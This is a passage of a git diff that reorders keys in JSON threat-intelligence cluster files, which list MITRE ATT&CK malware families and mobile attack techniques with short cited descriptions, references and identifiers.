"https://securelist.com/analysis/publications/65545/the-epic-turla-operation/"
],
- "uuid": "6b62e336-176f-417b-856a-8552dd8c44e1",
"synonyms": [
"Epic",
"Tavdig",
"Wipbot",
"WorldCupSec",
"TadjMakhal"
- ]
+ ],
+ "uuid": "6b62e336-176f-417b-856a-8552dd8c44e1"
},
- "value": "Epic",
- "description": "Epic is a backdoor that has been used by Turla.[[Citation: Kaspersky Turla]]\n\nAliases: Epic, Tavdig, Wipbot, WorldCupSec, TadjMakhal"
+ "value": "Epic"
},
{
+ "description": "Lurid is a malware family that has been used by several groups, including PittyTiger, in targeted attacks as far back as 2006.[[Citation: Villeneuve 2014]][[Citation: Villeneuve 2011]]\n\nAliases: Lurid, Enfal",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0010",
"https://www.fireeye.com/blog/threat-research/2014/07/spy-of-the-tiger.html",
"http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp%20dissecting-lurid-apt.pdf"
],
- "uuid": "251fbae2-78f6-4de7-84f6-194c727a64ad",
"synonyms": [
"Lurid",
"Enfal"
- ]
+ ],
+ "uuid": "251fbae2-78f6-4de7-84f6-194c727a64ad"
},
- "value": "Lurid",
- "description": "Lurid is a malware family that has been used by several groups, including PittyTiger, in targeted attacks as far back as 2006.[[Citation: Villeneuve 2014]][[Citation: Villeneuve 2011]]\n\nAliases: Lurid, Enfal"
+ "value": "Lurid"
},
{
+ "description": "3PARA RAT is a remote access tool (RAT) programmed in C++ that has been used by Putter Panda.[[Citation: CrowdStrike Putter Panda]]",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0066",
@@ -1664,10 +1664,10 @@
],
"uuid": "7bec698a-7e20-4fd3-bb6a-12787770fb1a"
},
- "value": "3PARA RAT",
- "description": "3PARA RAT is a remote access tool (RAT) programmed in C++ that has been used by Putter Panda.[[Citation: CrowdStrike Putter Panda]]"
+ "value": "3PARA RAT"
},
{
+ "description": "JHUHUGIT is malware used by APT28. It is based on Carberp source code and serves as reconnaissance malware.[[Citation: Kaspersky Sofacy]][[Citation: F-Secure Sofacy 2015]][[Citation: ESET Sednit Part 1]][[Citation: FireEye APT28 January 2017]]\n\nAliases: JHUHUGIT, Seduploader, JKEYSKW, Sednit, GAMEFISH",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0044",
@@ -1676,19 +1676,19 @@
"https://labsblog.f-secure.com/2015/09/08/sofacy-recycles-carberp-and-metasploit-code/",
"https://securelist.com/blog/research/72924/sofacy-apt-hits-high-profile-targets-with-updated-toolset/"
],
- "uuid": "8ae43c46-57ef-47d5-a77a-eebb35628db2",
"synonyms": [
"JHUHUGIT",
"Seduploader",
"JKEYSKW",
"Sednit",
"GAMEFISH"
- ]
+ ],
+ "uuid": "8ae43c46-57ef-47d5-a77a-eebb35628db2"
},
- "value": "JHUHUGIT",
- "description": "JHUHUGIT is malware used by APT28. It is based on Carberp source code and serves as reconnaissance malware.[[Citation: Kaspersky Sofacy]][[Citation: F-Secure Sofacy 2015]][[Citation: ESET Sednit Part 1]][[Citation: FireEye APT28 January 2017]]\n\nAliases: JHUHUGIT, Seduploader, JKEYSKW, Sednit, GAMEFISH"
+ "value": "JHUHUGIT"
},
{
+ "description": "ELMER is a non-persistent, proxy-aware HTTP backdoor written in Delphi that has been used by APT16.[[Citation: FireEye EPS Awakens Part 2]]",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0064",
@@ -1696,8 +1696,8 @@
],
"uuid": "3cab1b76-2f40-4cd0-8d2c-7ed16eeb909c"
},
- "value": "ELMER",
- "description": "ELMER is a non-persistent, proxy-aware HTTP backdoor written in Delphi that has been used by APT16.[[Citation: FireEye EPS Awakens Part 2]]"
+ "value": "ELMER"
}
- ]
+ ],
+ "version": 4
}
diff --git a/clusters/mitre-mobile-attack-attack-pattern.json b/clusters/mitre-mobile-attack-attack-pattern.json
index 67cf89f..9f2b465 100644
--- a/clusters/mitre-mobile-attack-attack-pattern.json
+++ b/clusters/mitre-mobile-attack-attack-pattern.json
@@ -1,23 +1,16 @@
{
- "name": "Mobile Attack - Attack Pattern",
- "type": "mitre-mobile-attack-attack-pattern",
- "description": "ATT&CK tactic",
- "version": 3,
- "source": "https://github.com/mitre/cti",
- "uuid": "1e606d06-1708-11e8-8a43-df11c8cf9ae2",
"authors": [
"MITRE"
],
+ "description": "ATT&CK tactic",
+ "name": "Mobile Attack - Attack Pattern",
+ "source": "https://github.com/mitre/cti",
+ "type": "mitre-mobile-attack-attack-pattern",
+ "uuid": "1e606d06-1708-11e8-8a43-df11c8cf9ae2",
"values": [
{
"description": "An SMS message could contain content designed to exploit vulnerabilities in the SMS parser on the receiving device. For example, Mulliner and Miller demonstrated such an attack against the iPhone in 2009 as described in (Citation: Forbes-iPhoneSMS).\n\nAn SMS message could also contain a link to a web site containing malicious content designed to exploit the device web browser.\n\nAs described by SRLabs in (Citation: SRLabs-SIMCard), vulnerable SIM cards may be remotely exploited and reprogrammed via SMS messages.\n\nPlatforms: Android, iOS",
- "value": "Malicious SMS Message - MOB-T1057",
"meta": {
- "refs": [
- "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1057",
- "http://www.forbes.com/2009/07/28/hackers-iphone-apple-technology-security-hackers.html",
- "https://srlabs.de/bites/rooting-sim-cards/"
- ],
"external_id": "MOB-T1057",
"kill_chain": [
"mitre-mobile-attack:mobile-attack:exploit-via-cellular-network"
@@ -25,20 +18,19 @@
"mitre_platforms": [
"Android",
"iOS"
+ ],
+ "refs": [
+ "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1057",
+ "http://www.forbes.com/2009/07/28/hackers-iphone-apple-technology-security-hackers.html",
+ "https://srlabs.de/bites/rooting-sim-cards/"
]
},
- "uuid": "0bcc4ec1-a897-49a9-a9ff-c00df1d1209d"
+ "uuid": "0bcc4ec1-a897-49a9-a9ff-c00df1d1209d",
+ "value": "Malicious SMS Message - MOB-T1057"
},
{
"description": "If network traffic between the mobile device and remote servers is unencrypted or is encrypted in an insecure manner, then an adversary positioned on the network can eavesdrop on communication. For example, He et al. (Citation: mHealth) describe numerous healthcare-related applications that did not properly protect network communication.\n\nPlatforms: Android, iOS",
- "value": "Eavesdrop on Insecure Network Communication - MOB-T1042",
"meta": {
- "refs": [
- "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1042",
- "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-0.html",
- "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-1.html",
- "https://experts.illinois.edu/en/publications/security-concerns-in-android-mhealth-apps"
- ],
"external_id": "APP-1",
"kill_chain": [
"mitre-mobile-attack:mobile-attack:general-network-based"
@@ -46,21 +38,20 @@
"mitre_platforms": [
"Android",
"iOS"
+ ],
+ "refs": [
+ "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1042",
+ "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-0.html",
+ "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-1.html",
+ "https://experts.illinois.edu/en/publications/security-concerns-in-android-mhealth-apps"
]
},
- "uuid": "393e8c12-a416-4575-ba90-19cc85656796"
+ "uuid": "393e8c12-a416-4575-ba90-19cc85656796",
+ "value": "Eavesdrop on Insecure Network Communication - MOB-T1042"
},
{
"description": "An adversary could use knowledge of the techniques used by security software to evade detection. For example, some mobile security products perform compromised device detection by searching for particular artifacts such as an installed \"su\" binary, but that check could be evaded by naming the binary something else. Similarly, polymorphic code techniques could be used to evade signature-based detection as described by (Citation: Rastogi) et al. (Citation: Rastogi). \n\n (Citation: Brodie) (Citation: Brodie) describes limitations of jailbreak/root detection mechanisms.\n\n (Citation: Tan) (Citation: Tan) describes his experience defeating the jailbreak detection used by the iOS version of Good for Enterprise.\n\nPlatforms: Android, iOS",
- "value": "Disguise Root/Jailbreak Indicators - MOB-T1011",
"meta": {
- "refs": [
- "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1011",
- "https://pages.nist.gov/mobile-threat-catalogue/emm-threats/EMM-5.html",
- "http://pages.cs.wisc.edu/~vrastogi/static/papers/rcj13b.pdf",
- "https://media.blackhat.com/eu-13/briefings/Brodie/bh-eu-13-lacoon-attacks-mdm-brodie-wp.pdf",
- "http://www.blackhat.com/us-16/briefings.html#bad-for-enterprise-attacking-byod-enterprise-mobile-security-solutions"
- ],
"external_id": "EMM-5",
"kill_chain": [
"mitre-mobile-attack:mobile-attack:defense-evasion"
@@ -68,57 +59,58 @@
"mitre_platforms": [
"Android",
"iOS"
+ ],
+ "refs": [
+ "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1011",
+ "https://pages.nist.gov/mobile-threat-catalogue/emm-threats/EMM-5.html",
+ "http://pages.cs.wisc.edu/~vrastogi/static/papers/rcj13b.pdf",
+ "https://media.blackhat.com/eu-13/briefings/Brodie/bh-eu-13-lacoon-attacks-mdm-brodie-wp.pdf",
+ "http://www.blackhat.com/us-16/briefings.html#bad-for-enterprise-attacking-byod-enterprise-mobile-security-solutions"
]
},
- "uuid": "b332a960-3c04-495a-827f-f17a5daed3a6"
+ "uuid": "b332a960-3c04-495a-827f-f17a5daed3a6",
+ "value": "Disguise Root/Jailbreak Indicators - MOB-T1011"
},
{
"description": "On Android, device type information is accessible to apps through the android.os.Build class (Citation: Android-Build). Device information could be used to target privilege escalation exploits.\n\nPlatforms: Android",
- "value": "Device Type Discovery - MOB-T1022",
"meta": {
- "refs": [
- "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1022",
- "https://zeltser.com/third-party-keyboards-security/"
- ],
"external_id": "MOB-T1022",
"kill_chain": [
"mitre-mobile-attack:mobile-attack:discovery"
],
"mitre_platforms": [
"Android"
+ ],
+ "refs": [
+ "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1022",
+ "https://zeltser.com/third-party-keyboards-security/"
]
},
- "uuid": "89fcd02f-62dc-40b9-a54b-9ac4b1baef05"
+ "uuid": "89fcd02f-62dc-40b9-a54b-9ac4b1baef05",
+ "value": "Device Type Discovery - MOB-T1022"
},
{
"description": "A malicious app could use standard Android APIs to send SMS messages. SMS messages could potentially be sent to premium numbers that charge the device owner and generate revenue for an adversary, for example as described by Lookout in (Citation: Lookout-SMS).\n\nOn iOS, apps cannot send SMS messages.\n\nOn Android, apps must hold the SEND_SMS permission to send SMS messages. Additionally, Android version 4.2 and above has mitigations against this threat by requiring user consent before allowing SMS messages to be sent to premium numbers (Citation: AndroidSecurity2014).\n\nDetection: As described in Google's Android Security 2014 Year in Review Report (Citation: AndroidSecurity2014), starting with Android 4.2 the user is prompted and must provide consent before applications can send SMS messages to premium numbers.\n\nOn Android 6.0 and up, the user can view which applications have permission to send SMS messages through the device settings screen, and the user can choose to revoke the permissions.\n\nPlatforms: Android",
- "value": "Premium SMS Toll Fraud - MOB-T1051",
"meta": {
- "refs": [
- "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1051",
- "https://blog.lookout.com/blog/2013/08/02/dragon-lady/",
- "https://static.googleusercontent.com/media/source.android.com/en//security/reports/Google%20Android%20Security%202014%20Report%20Final.pdf"
- ],
"external_id": "MOB-T1051",
"kill_chain": [
"mitre-mobile-attack:mobile-attack:effects"
],
"mitre_platforms": [
"Android"
+ ],
+ "refs": [
+ "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1051",
+ "https://blog.lookout.com/blog/2013/08/02/dragon-lady/",
+ "https://static.googleusercontent.com/media/source.android.com/en//security/reports/Google%20Android%20Security%202014%20Report%20Final.pdf"
]
},
- "uuid": "8f0e39c6-82c9-41ec-9f93-5696c0f2e274"
+ "uuid": "8f0e39c6-82c9-41ec-9f93-5696c0f2e274",
+ "value": "Premium SMS Toll Fraud - MOB-T1051"
},
{
"description": "An adversary who is able to obtain unauthorized access to or misuse authorized access to cloud backup services (e.g. Google's Android backup service or Apple's iCloud) could use that access to obtain sensitive data stored in device backups. For example, the Elcomsoft Phone Breaker product advertises the ability to retrieve iOS backup data from Apple's iCloud (Citation: Elcomsoft-EPPB).\n\nDetection: Google provides the ability for users to view their account activity. Apple iCloud also provides notifications to users of account activity.\n\nPlatforms: Android, iOS",
- "value": "Obtain Device Cloud Backups - MOB-T1073",
"meta": {
- "refs": [
- "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1073",
- "https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-0.html",
- "https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-1.html",
- "https://www.elcomsoft.com/eppb.html"
- ],
"external_id": "ECO-1",
"kill_chain": [
"mitre-mobile-attack:mobile-attack:cloud-based"
@@ -126,19 +118,20 @@
"mitre_platforms": [
"Android",
"iOS"
+ ],
+ "refs": [
+ "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1073",
+ "https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-0.html",
+ "https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-1.html",
+ "https://www.elcomsoft.com/eppb.html"
]
},
- "uuid": "0c71033e-401e-4b97-9309-7a7c95e43a5d"
+ "uuid": "0c71033e-401e-4b97-9309-7a7c95e43a5d",
+ "value": "Obtain Device Cloud Backups - MOB-T1073"
},
{
"description": "On versions of Android prior to 4.1, an adversary may use a malicious application that holds the READ_LOGS permission to obtain private keys, passwords, other credentials, or other sensitive data stored in the device's system log. On Android 4.1 and later, an adversary would need to attempt to perform an operating system privilege escalation attack to be able to access the log.\n\nPlatforms: Android",
- "value": "Access Sensitive Data in Device Logs - MOB-T1016",
"meta": {
- "refs": [
- "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1016",
- "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-3.html",
- "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-13.html"
- ],
"external_id": "APP-13",
"kill_chain": [
"mitre-mobile-attack:mobile-attack:collection",
@@ -146,52 +139,64 @@
],
"mitre_platforms": [
"Android"
+ ],
+ "refs": [
+ "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1016",
+ "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-3.html",
+ "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-13.html"
]
},
- "uuid": "29e07491-8947-43a3-8d4e-9a787c45f3d3"
+ "uuid": "29e07491-8947-43a3-8d4e-9a787c45f3d3",
+ "value": "Access Sensitive Data in Device Logs - MOB-T1016"
},
{
"description": "With escalated privileges, an adversary could program the mobile device to impersonate USB devices such as input devices (keyboard and mouse), storage devices, and/or networking devices in order to attack a physically connected PC. Wang and Stavrou (Citation: Wang-ExploitingUSB) and Kamkar (Citation: ArsTechnica-PoisonTap) describe this technique. This technique has been demonstrated on Android, and we are unaware of any demonstrations on iOS.\n\nPlatforms: Android",
- "value": "Attack PC via USB Connection - MOB-T1030",
"meta": {
- "refs": [
- "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1030",
- "https://pages.nist.gov/mobile-threat-catalogue/physical-threats/PHY-2.html",
- "http://dl.acm.org/citation.cfm?id=1920314",
- "http://arstechnica.com/security/2016/11/meet-poisontap-the-5-tool-that-ransacks-password-protected-computers/"
- ],
"external_id": "PHY-2",
"kill_chain": [
"mitre-mobile-attack:mobile-attack:lateral-movement"
],
"mitre_platforms": [
"Android"
+ ],
+ "refs": [
+ "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1030",
+ "https://pages.nist.gov/mobile-threat-catalogue/physical-threats/PHY-2.html",
+ "http://dl.acm.org/citation.cfm?id=1920314",
+ "http://arstechnica.com/security/2016/11/meet-poisontap-the-5-tool-that-ransacks-password-protected-computers/"
]
},
- "uuid": "a0464539-e1b7-4455-a355-12495987c300"
+ "uuid": "a0464539-e1b7-4455-a355-12495987c300",
+ "value": "Attack PC via USB Connection - MOB-T1030"
},
{
"description": "A malicious app can register to receive intents meant for other applications and may then be able to receive sensitive values such as OAuth authorization codes as described in (Citation: IETF-PKCE).\n\nPlatforms: Android",
- "value": "Android Intent Hijacking - MOB-T1019",
"meta": {
- "refs": [
- "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1019",
- "https://tools.ietf.org/html/rfc7636"
- ],
"external_id": "MOB-T1019",
"kill_chain": [
"mitre-mobile-attack:mobile-attack:credential-access"
],
"mitre_platforms": [
"Android"
+ ],
+ "refs": [
+ "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1019",
+ "https://tools.ietf.org/html/rfc7636"
]
},
- "uuid": "77e30eee-fd48-40b4-99ec-73e97c158b58"
+ "uuid": "77e30eee-fd48-40b4-99ec-73e97c158b58",
+ "value": "Android Intent Hijacking - MOB-T1019"
},
{
"description": "An iOS application may be able to maliciously claim a URL scheme, allowing it to intercept calls that are meant for a different application. This technique, for example, could be used to capture OAuth authorization codes as described in (Citation: IETF-PKCE) or to phish user credentials as described in (Citation: MobileIron-XARA). Related potential security implications are described in (Citation: Dhanjani-URLScheme). FireEye researchers describe URL scheme hijacking in a blog post (Citation: FireEye-Masque2), including evidence of its use.\n\nPlatforms: iOS",
- "value": "URL Scheme Hijacking - MOB-T1018",
"meta": {
+ "external_id": "AUT-10",
+ "kill_chain": [
+ "mitre-mobile-attack:mobile-attack:credential-access"
+ ],
+ "mitre_platforms": [
+ "iOS"
+ ],
"refs": [
"https://attack.mitre.org/mobile/index.php/Technique/MOB-T1018",
"https://pages.nist.gov/mobile-threat-catalogue/authentication-threats/AUT-10.html",
@@ -199,25 +204,14 @@
"https://www.mobileiron.com/en/smartwork-blog/ios-url-scheme-hijacking-xara-attack-analysis-and-countermeasures",
"http://www.dhanjani.com/blog/2010/11/insecure-handling-of-url-schemes-in-apples-ios.html",
"https://www.fireeye.com/blog/threat-research/2015/02/ios%20masque%20attackre.html"
- ],
- "external_id": "AUT-10",
- "kill_chain": [
- "mitre-mobile-attack:mobile-attack:credential-access"
- ],
- "mitre_platforms": [
- "iOS"
]
},
- "uuid": "8f142a25-f6c3-4520-bd50-2ae3ab50ed3e"
+ "uuid": "8f142a25-f6c3-4520-bd50-2ae3ab50ed3e",
+ "value": "URL Scheme Hijacking - MOB-T1018"
},
{
"description": "Adversaries may attempt to exploit enterprise servers, workstations, or other resources over the network. This technique may take advantage of the mobile device's access to an internal enterprise network either through local connectivity or through a Virtual Private Network (VPN).\n\nPlatforms: Android, iOS",
- "value": "Exploit Enterprise Resources - MOB-T1031",
"meta": {
- "refs": [
- "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1031",
- "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-32.html"
- ],
"external_id": "APP-32",
"kill_chain": [
"mitre-mobile-attack:mobile-attack:lateral-movement"
@@ -225,20 +219,18 @@
"mitre_platforms": [
"Android",
"iOS"
+ ],
+ "refs": [
+ "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1031",
+ "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-32.html"
]
},
- "uuid": "22379609-a99f-4a01-bd7e-70f3e105859d"
+ "uuid": "22379609-a99f-4a01-bd7e-70f3e105859d",
+ "value": "Exploit Enterprise Resources - MOB-T1031"
},
{
"description": "If an adversary can escalate privileges, he or she may be able to use those privileges to place malicious code in the device system partition, where it may persist after device resets and may not be easily removed by the device user.\n\nMany Android devices provide the ability to unlock the bootloader for development purposes. An unlocked bootloader may provide the ability for an adversary to modify the system partition. Even if the bootloader is locked, it may be possible for an adversary to escalate privileges and then modify the system partition.\n\nDetection: Android devices with the Verified Boot capability (Citation: Android-VerifiedBoot) perform cryptographic checks of the integrity of the system partition.\n\nThe Android SafetyNet API's remote attestation capability could potentially be used to identify and respond to compromised devices.\n\nSamsung KNOX also provides a remote attestation capability on supported Samsung Android devices.\n\nAs described in the iOS Security Guide (Citation: Apple-iOSSecurityGuide), iOS devices will fail to boot or fail to allow device activation if unauthorized modifications are detected.\n\nPlatforms: Android, iOS",
- "value": "Modify System Partition - MOB-T1003",
"meta": {
- "refs": [
- "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1003",
- "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-27.html",
- "https://source.android.com/security/verifiedboot/",
- "https://www.apple.com/business/docs/iOS%20Security%20Guide.pdf"
- ],
"external_id": "APP-27",
"kill_chain": [
"mitre-mobile-attack:mobile-attack:defense-evasion",
@@ -247,19 +239,20 @@
"mitre_platforms": [
"Android",
"iOS"
+ ],
+ "refs": [
+ "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1003",
+ "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-27.html",
+ "https://source.android.com/security/verifiedboot/",
+ "https://www.apple.com/business/docs/iOS%20Security%20Guide.pdf"
]
},
- "uuid": "c5089859-b21f-40a3-8be4-63e381b8b1c0"
+ "uuid": "c5089859-b21f-40a3-8be4-63e381b8b1c0",
+ "value": "Modify System Partition - MOB-T1003"
},
{
"description": "An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, and architecture.\n\nOn Android, much of this information is programmatically accessible to applications through the android.os.Build class (Citation: Android-Build).\n\nOn iOS, techniques exist for applications to programmatically access this information, for example as described in (Citation: StackOverflow-iOSVersion).\n\nPlatforms: Android, iOS",
- "value": "System Information Discovery - MOB-T1029",
"meta": {
- "refs": [
- "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1029",
- "https://zeltser.com/third-party-keyboards-security/",
- "http://stackoverflow.com/questions/7848766/how-can-we-programmatically-detect-which-ios-version-is-device-running-on"
- ],
"external_id": "MOB-T1029",
"kill_chain": [
"mitre-mobile-attack:mobile-attack:discovery"
@@ -267,17 +260,19 @@
"mitre_platforms": [
"Android",
"iOS"
+ ],
+ "refs": [
+ "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1029",
+ "https://zeltser.com/third-party-keyboards-security/",
+ "http://stackoverflow.com/questions/7848766/how-can-we-programmatically-detect-which-ios-version-is-device-running-on"
]
},
- "uuid": "e2ea7f6b-8d4f-49c3-819d-660530d12b77"
+ "uuid": "e2ea7f6b-8d4f-49c3-819d-660530d12b77",
+ "value": "System Information Discovery - MOB-T1029"
},
{
"description": "Adversaries may attempt to get a listing of services running on remote hosts, including those that may be vulnerable to remote software exploitation. Methods to acquire this information include port scans and vulnerability scans from the mobile device. This technique may take advantage of the mobile device's access to an internal enterprise network either through local connectivity or through a Virtual Private Network (VPN).\n\nPlatforms: Android, iOS",
- "value": "Network Service Scanning - MOB-T1026",
"meta": {
- "refs": [
- "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1026"
- ],
"external_id": "MOB-T1026",
"kill_chain": [
"mitre-mobile-attack:mobile-attack:discovery"
@@ -285,18 +280,17 @@
"mitre_platforms": [
"Android",
"iOS"
+ ],
+ "refs": [
+ "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1026"
]
},
- "uuid": "2de38279-043e-47e8-aaad-1b07af6d0790"
+ "uuid": "2de38279-043e-47e8-aaad-1b07af6d0790",
+ "value": "Network Service Scanning - MOB-T1026"
},
{
"description": "On Android, an adversary could call standard operating system APIs from a malicious application to gather call log data, or with escalated privileges could directly access files containing call log data.\n\nOn iOS, applications do not have access to the call log, so privilege escalation would be required in order to access the data.\n\nDetection: On Android 6.0 and up, the user can view which applications have permission to access call log information through the device settings screen, and the user can choose to revoke the permissions.\n\nPlatforms: Android, iOS",
- "value": "Access Call Log - MOB-T1036",
"meta": {
- "refs": [
- "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1036",
- "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-13.html"
- ],
"external_id": "APP-13",
"kill_chain": [
"mitre-mobile-attack:mobile-attack:collection"
@@ -304,14 +298,26 @@
"mitre_platforms": [
"Android",
"iOS"
+ ],
+ "refs": [
+ "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1036",
+ "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-13.html"
]
},
- "uuid": "79eec66a-9bd0-4a3f-ac82-19159e94bd44"
+ "uuid": "79eec66a-9bd0-4a3f-ac82-19159e94bd44",
+ "value": "Access Call Log - MOB-T1036"
},
{
"description": "An adversary could evade app vetting techniques by placing code in a malicious application to detect whether it is running in an app analysis environment and, if so, avoid performing malicious actions while under analysis.\n\nDiscussion of general Android anti-analysis techniques can be found in (Citation: Petsas). Discussion of Google Play Store-specific anti-analysis techniques can be found in (Citation: Oberheide-Bouncer), (Citation: Percoco-Bouncer).\n\n (Citation: Wang) presents a discussion of iOS anti-analysis techniques.\n\nPlatforms: Android, iOS",
- "value": "Detect App Analysis Environment - MOB-T1043",
"meta": {
+ "external_id": "ECO-22",
+ "kill_chain": [
+ "mitre-mobile-attack:mobile-attack:app-delivery-via-authorized-app-store"
+ ],
+ "mitre_platforms": [
+ "Android",
+ "iOS"
+ ],
"refs": [
"https://attack.mitre.org/mobile/index.php/Technique/MOB-T1043",
"https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-20.html",
@@ -321,26 +327,14 @@
"https://jon.oberheide.org/files/summercon12-bouncer.pdf",
"https://media.blackhat.com/bh-us-12/Briefings/Percoco/BH%20US%2012%20Percoco%20Adventures%20in%20Bouncerland%20WP.pdf",
"https://www.usenix.org/conference/usenixsecurity13/technical-sessions/presentation/wang%20tielei"
- ],
- "external_id": "ECO-22",
- "kill_chain": [
- "mitre-mobile-attack:mobile-attack:app-delivery-via-authorized-app-store"
- ],
- "mitre_platforms": [
- "Android",
- "iOS"
]
},
- "uuid": "b765efd1-02e6-4e67-aebf-0fef5c37e54b"
+ "uuid": "b765efd1-02e6-4e67-aebf-0fef5c37e54b",
+ "value": "Detect App Analysis Environment - MOB-T1043"
},
{
"description": "Content of a web page could be designed to exploit vulnerabilities in a web browser running on the mobile device.\n\nPlatforms: Android, iOS",
- "value": "Malicious Web Content - MOB-T1059",
"meta": {
- "refs": [
- "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1059",
- "https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-22.html"
- ],
"external_id": "CEL-22",
"kill_chain": [
"mitre-mobile-attack:mobile-attack:exploit-via-internet"
@@ -348,18 +342,18 @@
"mitre_platforms": [
"Android",
"iOS"
+ ],
+ "refs": [
+ "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1059",
+ "https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-22.html"
]
},
- "uuid": "fd339382-bfec-4bf0-8d47-1caedc9e7e57"
+ "uuid": "fd339382-bfec-4bf0-8d47-1caedc9e7e57",
+ "value": "Malicious Web Content - MOB-T1059"
},
{
"description": "An adversary could use fake identities, payment cards, etc., to create developer accounts to publish malicious applications to app stores. For example, Oberheide and Miller describe use of this technique in (Citation: Oberheide-Bouncer).\n\nPlatforms: Android, iOS",
- "value": "Fake Developer Accounts - MOB-T1045",
"meta": {
- "refs": [
- "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1045",
- "https://jon.oberheide.org/files/summercon12-bouncer.pdf"
- ],
"external_id": "MOB-T1045",
"kill_chain": [
"mitre-mobile-attack:mobile-attack:app-delivery-via-authorized-app-store"
@@ -367,19 +361,18 @@
"mitre_platforms": [
"Android",
"iOS"
+ ],
+ "refs": [
+ "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1045",
+ "https://jon.oberheide.org/files/summercon12-bouncer.pdf"
]
},
- "uuid": "e30cc912-7ea1-4683-9219-543b86cbdec9"
+ "uuid": "e30cc912-7ea1-4683-9219-543b86cbdec9",
+ "value": "Fake Developer Accounts - MOB-T1045"
},
{
"description": "Content of a media (audio or video) file could be designed to exploit vulnerabilities in parsers on the mobile device, as for example demonstrated by the Android Stagefright vulnerability (Citation: Zimperium-Stagefright).\n\nPlatforms: Android, iOS",
- "value": "Malicious Media Content - MOB-T1060",
"meta": {
- "refs": [
- "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1060",
- "https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-22.html",
- "https://blog.zimperium.com/experts-found-a-unicorn-in-the-heart-of-android/"
- ],
"external_id": "CEL-22",
"kill_chain": [
"mitre-mobile-attack:mobile-attack:exploit-via-internet"
@@ -387,19 +380,19 @@
"mitre_platforms": [
"Android",
"iOS"
+ ],
+ "refs": [
+ "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1060",
+ "https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-22.html",
+ "https://blog.zimperium.com/experts-found-a-unicorn-in-the-heart-of-android/"
]
},
- "uuid": "a9cab8f6-4c94-4c9b-9e7d-9d863ff53431"
+ "uuid": "a9cab8f6-4c94-4c9b-9e7d-9d863ff53431",
+ "value": "Malicious Media Content - MOB-T1060"
},
{
"description": "The application is delivered as an email attachment.\n\nDetection: An EMM/MDM or mobile threat protection solution can identify the presence of unwanted, known insecure, or malicious apps on devices. Enterprise email security solutions can identify the presence of Android or iOS application packages within email messages.\n\nPlatforms: Android, iOS",
- "value": "App Delivered via Email Attachment - MOB-T1037",
"meta": {
- "refs": [
- "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1037",
- "https://pages.nist.gov/mobile-threat-catalogue/authentication-threats/AUT-9.html",
- "https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-13.html"
- ],
"external_id": "ECO-13",
"kill_chain": [
"mitre-mobile-attack:mobile-attack:app-delivery-via-other-means"
@@ -407,19 +400,19 @@
"mitre_platforms": [
"Android",
"iOS"
+ ],
+ "refs": [
+ "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1037",
+ "https://pages.nist.gov/mobile-threat-catalogue/authentication-threats/AUT-9.html",
+ "https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-13.html"
]
},
- "uuid": "1f96d624-8409-4472-ad8a-30618ee6b2e2"
